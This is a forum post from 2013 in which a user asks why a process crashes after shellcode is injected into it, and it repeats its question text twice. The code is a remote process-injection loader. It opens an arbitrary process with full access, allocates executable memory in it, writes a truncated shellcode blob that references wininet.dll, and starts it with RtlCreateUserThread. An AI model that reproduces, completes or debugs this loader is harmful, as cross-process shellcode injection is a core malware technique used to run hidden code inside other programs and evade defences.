capadleman
June 18th, 2013, 01:27
Hi guys
I have a shell code, used VirtualAlloc with MEM_COMMIT and PAGE_EXECUTE_READWRITE, then RtlCreateUserThread
the code is executed successfully but then the process crash with C000005 excption
I read aboud DEP, but I already used PAGE_EXECUTE_READWRITE !
I also tried calling ExitThread
How to avoid crashing the process ?
Thanks
Here is the code
I have a shell code, used VirtualAlloc with MEM_COMMIT and PAGE_EXECUTE_READWRITE, then RtlCreateUserThread
the code is executed successfully but then the process crash with C000005 excption
I read aboud DEP, but I already used PAGE_EXECUTE_READWRITE !
I also tried calling ExitThread

How to avoid crashing the process ?
Thanks
Here is the code
Code:
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread";
cin >>pid;
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
HANDLE code=VirtualAllocEx(hProc, NULL, 508 ,MEM_COMMIT , PAGE_EXECUTE_READWRITE);
void * hex = "\xe9\xff\x00\x00\x00\xe8\x1b\x01"
"\x00\x00\x77\x69\x6e\x69\x6e\x65"
"\x74\x2e\x64\x6c\x6c\x00\xe8\x1f"....
DWORD sizeofHex = 509;
WriteProcessMemory(hProc,code,hex,sizeofHex,NULL);
__try {
RtlCreateUserThread(hProc,NULL,false,0,0,0, code,0,&hThd,&cid);
}
__except (GetExceptionCode() ){
return -1;
}
WaitForSingleObject(hThd,INFINITE);
CloseHandle(hThd);
CloseHandle(hProc);